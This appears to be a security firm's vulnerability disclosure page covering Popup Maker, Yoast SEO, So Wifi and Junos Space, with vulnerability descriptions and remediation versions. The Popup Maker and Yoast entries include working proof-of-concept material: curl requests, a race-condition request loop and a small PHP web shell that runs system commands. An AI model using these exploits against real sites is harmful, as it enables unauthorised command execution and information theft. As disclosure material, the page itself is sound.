The following issues were identified and reported to the vendor of the WordPress plugin “popup-maker”, during a Web Application Security Assessment for one of the Neurosoft’s clients.

Summary

Product Affected: WordPress Plugin Popup-Maker.
Version Affected: Plugin version < 1.8.12 (version 1.8.12 has a partial remediation).
Active installations: 400.000+
Vulnerability Description: An unauthenticated attacker can retrieve information regarding WordPress Plugins (active/inactive), the Webserver Configuration, the PHP Configuration and more. Further attacks may also be possible.
Remediation: Update to latest version of popup-maker (>1.8.13).
CVSS Score: Pending
Vector String: Pending
Acknowledgments: Elias Dimopoulos from NeuroSoft S.A. (Redyops Team).
Reference

  • https://github.com/PopupMaker/Popup-Maker/blob/master/CHANGELOG.md
  • https://wpvulndb.com/vulnerabilities/9907
  • https://nvd.nist.gov/vuln/detail/CVE-2019-17574

PoC:

  1. curl http://www.your-domain-with-popup-maker.com/?pum_action=tools_page_tab_system_info
  2. curl -v -d “popmake_action=popup_sysinfo&popmake-sysinfo=choose any content you like” -X POST http://www.your-domain-with-popup-maker.com/

The vulnerabilities which have been reported are the following:

  1. Indirect Object Reference: An attacker can partially control the arguments of the do_action, during the initialization of the PUM_Site . Because of this, an attacker can call any method which contains an action starting from popmake_ or pum_ . This will lead to successful execution of functions which do not require arguments (e.g: PUM_Admin_Tools::sysinfo_download or PUM_Admin_Tools::sysinfo_display) or require one argument as an array.
  2. Lack of authorization: There are calls which can be performed and require no authentication. As we will see in the following sections, an attacker can execute the PUM_Admin_Tools::sysinfo_display without any authentication.
  3. Lack of CSRF tokens: The use of the wordpress nonces like _wpnonce or pum_tools_nonce is not required. This makes the plugin vulnerable to CSRF attacks which can be used in order to force the remote server to serve a victim the file popmake-system-info.txt, with contents of the attacker’s choice. Further attacks may be possible because of the lack of CSRF tokens.

After the exploitation of the security issues, an unauthenticated attacker (guest) can at least perform the following:

  1. Retrieve the information which is presented in the “System Info” tab . After a successful attack, the attacker will obtain information regarding WordPress Plugins (active/inactive), the Webserver Configuration, the PHP Configuration and more.
  2. Force the remote server to serve a victim the file popmake-system-info.txt with contents of the attacker’s choice. This attack requires the victim to enter a malicious site.

Details

  1. When the plugin is loaded, the Popup_Maker class initializes the PUM_Site class by calling PUM_Site::init(); This call can be found on https://plugins.trac.wordpress.org/browser/popup-maker/tags/1.8.11/popup-maker.php#L318 (line 318)
  2. When the PUM_Site class is being initialized, it also calls the “actions” function https://plugins.trac.wordpress.org/browser/popup-maker/tags/1.8.11/classes/Site.php#L10 . In the “actions” function of the PUM_Site class, which can be found on https://plugins.trac.wordpress.org/browser/popup-maker/tags/1.8.11/classes/Site.php#L36 (line 36), the attacker controls part of the argument of the “do_action” function.
The attacker can force a call to any of the following:
do_action( ‘popmake_attacker_controlled_data, $_GET );
do_action( ‘pum_attacker_controlled_data, $_GET );
do_action( ‘popmake_attacker_controlled_data, $_POST );
do_action( ‘pum_attacker_controlled_data, $_POST );

The attacker controls the “attacker_controlled_data” part, because this part is passed as an argument from the $_GET[‘popmake_action’], $_GET[‘pum_action’], $_POST[‘popmake_action’] or $_POST[‘pum_action’] .

Exploitation

Now we can create our request, in order to perform unintended actions.
We used a GET request in the /?pum_action=tools_page_tab_system_info .

Based on what we have seen so far, the following are happening:

  1. The execution reaches thePUM_Site::actions .
  2. The execution continues to the else if branch in https://plugins.trac.wordpress.org/browser/popup-maker/tags/1.8.11/classes/Site.php#L41 (line: 41).
  3. The function “do_action” : do_action( ‘pum_tools_page_tab_system_info‘, $_GET ); is called
  4. This function call, will cause the execution of the PUM_Admin_Tools::sysinfo_display (https://plugins.trac.wordpress.org/browser/popup-maker/tags/1.8.11/classes/Admin/Tools.php#L164) . We will reach this function, because the “pum_tools_page_tab_system_info” corresponds to the sysinfo_display function ( https://plugins.trac.wordpress.org/browser/popup-maker/tags/1.8.11/classes/Admin/Tools.php#L28 )

In the same way, we can reach other functions as well.
For example, in the following picture we use the popmake_action parameter with the value popup_sysinfo , in order to reach the if/else branch:https://plugins.trac.wordpress.org/browser/popup-maker/tags/1.8.11/classes/Site.php#L40 and execute the do_action( ‘popmake_popup_sysinfo‘, $_POST ); .
This way we end up executing the PUM_Admin_Tools::sysinfo_download ( https://plugins.trac.wordpress.org/browser/popup-maker/tags/1.8.11/classes/Admin/Tools.php#L433 ) and forcing the contents of the popmake-system-info.txt, to be anything we want to.

WordPress SEO (Yoast SEO) plugin versions 9.1 and below suffer from a race condition that allows for command execution.

Product Affected: Yoast SEO WordPress Plugin.

Version Affected: Plugin versions 9.1 and below.

Active installations: 5+ million

Vulnerability Description: A Race condition vulnerability in unzip_file in admin/import/class-import-settings.php in the Yoast SEO (wordpress-seo) plugin before 9.2.0 for WordPress allows an SEO Manager to perform command execution on the Operating System via a ZIP import.

Remediation: Update to Yoast SEO plugin version 9.2.

CVSS Score: Pending

Vector String: Pending

Reference:

Acknowledgments: Elias Dimopoulos of NeuroSoft S.A. (Redyops Team).

Details:
The vulnerability lies in the “admin/import/class-import-settings.php” file and is a race condition which leads in command execution.
An attacker with SEO manager user role, can leverage the ability to import settings from other SEO plugin. in order to execute system commands.

To stress that SEO manager is not a wordpress administrator.
In order for the attacker to gain access to the OS of the hosting machine he will have to be a SEO manager.
The attacker can abuse his ability to Import settings from other SEO plugins (tools->Import and Export->Import Settings).

The SEO manager imports the settings from a zip file. Our malicious zip file should contains the following:

settings.ini: A valid ini file with 1363074 lines which can be parsed.
a.php: The exploit he wants to execute on the system (e.g: a php file which executes system commands)

while the importing process takes place, he constantly requests the file http://web-server/wp-content/uploads/wpseo-import/a.php

Reproduce:

  1. Download the exploit (yoast-seo-settings-export.zip).
  2. Login as SEO manager
  3. Go to SEO->tools->Import and Export->Import Settings
  4. Click “Choose File” and select the zip archive which you have downloaded.
  5. BEFORE pressing the “Import settings” button, execute the following command in a linux box (the attacker’s machine. Not the hosting machine of the WordPress) :

for i in $(seq 1 5000);do curl -I http://web-server/wp-content/uploads/wpseo-import/a.php 2>/dev/null |grep -i RCE;done

  1. Immediately Click the “Import settings” button.

The “a.php” file contains the following code:

<?php

$result=system(“(uname -a;id;pwd)|sed ‘:a;N;$!ba;s/\\n/ || /g'”);

header(“RCE: $result “);

?>

By executing the command on step 5, we are constantly requesting the a.php file, and we are waiting for the RCE header, which contains the results from our command execution.
Consult the PoC video to better analyze and execute the attack (https://www.youtube.com/watch?v=nL141dcDGCY) .

Important Note:
This is race condition situation where the access of the a.php must be performed before the cleanup process (during the parsing of the settings.ini).
This means that a successful exploitation depends on the time which is needed the parsing to take place and the ability of the attacker to flood with requests for the a.php file.
As for example, if you import a very small settings.ini file, you might not be able to “catch” the a.php file before it will be deleted. Furthermore, if you upload the zip file in a high performance computer and you do not have a quick internet connection, again you may loose the opportunity to access the a.php before it will be deleted. In any case, you can make the settings.ini even bigger, in order for the parsing to take more time.

Testing environment:
WordPress Version 4.9.8
Yoast SEO Version 9.0.3

System:
RAM: 1 GB
vCPU:1
OS: Ubuntu 18.04 x86_64 x86_64 x86_64 GNU/Linux
PHP: 7.2.10-0ubuntu0.18.04.1

Source Code Analysis:
As we can observe in the constructor, the plugin first unzips the contents of the zip file containing the settings of the SEO and then parses the settings.ini file which is being contained in the zip archive:

admin/import/class-import-settings.php:

47         public function __construct() {
48                 $this->status = new WPSEO_Import_Status( ‘import’, false );
49                 if ( ! $this->handle_upload() ) {
50                         return $this->status;
51                 }
52
53                 $this->determine_path();
54
55                 if ( ! $this->unzip_file() ) {
56                         $this->clean_up();
57
58                         return $this->status;
59                 }
60
61                 $this->parse_options();
62
63                 $this->clean_up();
64         }

the unzip function is as follows:

122         private function unzip_file() {

123                 $unzipped = unzip_file( $this->file[‘file’], $this->path );
124                 $msg_base = __( ‘Settings could not be imported:’, ‘wordpress-seo’ ) . ‘ ‘;
125
126                 if ( is_wp_error( $unzipped ) ) {
127                         /* translators: %s expands to an error message. */
128                         $this->status->set_msg( $msg_base . sprintf( __( ‘Unzipping failed with error “%s”.’, ‘wordpress-seo’ ), $unzipped->get_error_message() ) );
129
130                         return false;
131                 }
132
133                 $this->filename = $this->path . ‘settings.ini’;
134                 if ( ! is_file( $this->filename ) || ! is_readable( $this->filename ) ) {
135                         $this->status->set_msg( $msg_base . __( ‘Unzipping failed – file settings.ini not found.’, ‘wordpress-seo’ ) );
136
137                         return false;
138                 }
139
140                 return true;
141         }

and the $this->path is:

105                 $this->path = $this->upload_dir[‘basedir’] . DIRECTORY_SEPARATOR . ‘wpseo-import’ . DIRECTORY_SEPARATOR;

which is being translated to: /wp-content/uploads/wpseo-import/
Any file in this directory can be accessed by any user.
So what we have seen so far, is that when the constructor executes the line

55  if ( ! $this->unzip_file() )

, the zip archive which we have uploaded, will be unzipped in a folder the contents of which can be accessed by any user (even not logged-in) .
After the unzip, the line 61 of the constructor will be executed in order to parse the settings. During the parsing process there is the opportunity to access the contents on the http://ip//wp-content/uploads/wpseo-import/ .
In order for a successful exploitation we have to request our exploit (the a.php file in our demonstration) during the parsing process and before the line

63  $this->clean_up();

of the constructor will be executed.
During the cleanup process everything is being deleted.

The So Wifi hotspot web interface is vulnerable to an open redirect attack. The web application fails to properly sanitize untrusted input, thus allowing remote attackers to redirect users to arbitrary web sites and conduct phishing attacks via a malformed URL.

Product Affected: So Wifi hotspot

Version Affected: Firmware version was 137

Vulnerability Description: The So Wifi hotspot web interface is vulnerable to an open redirect attack. The web application fails to properly sanitize untrusted input, thus allowing remote attackers to redirect users to arbitrary web sites and conduct phishing attacks via a malformed URL.

Remediation: This issue has been addresses since firmware version 140. The input is validated against a list of trusted url’s.

CVSS Score: 7.4

Vector String: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N

Acknowledgments: Emmanouil Angelakis of NeuroSoft S.A. (Redyops Team).

An authentication bypass vulnerability in Juniper Networks Junos Space Network Management Platform may allow a remote unauthenticated network based attacker to login as any privileged user.

Product Affected: Junos Space Network Management Platform

Version Affected: Juniper JUNOS Space 17.1R1 Juniper JUNOS Space 16.1R1

Vulnerability Description: An authentication bypass vulnerability in Juniper Networks Junos Space Network Management Platform may allow a remote unauthenticated network based attacker to login as any privileged user.

Remediation: This issue only affects Junos Space Network Management Platform 17.1R1 without Patch v1 and 16.1 releases prior to 16.1R3.

CVSS Score: 9.8

Vector String: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Reference:

Acknowledgments: Ilias Polychroniadis of NeuroSoft S.A. (Redyops Team).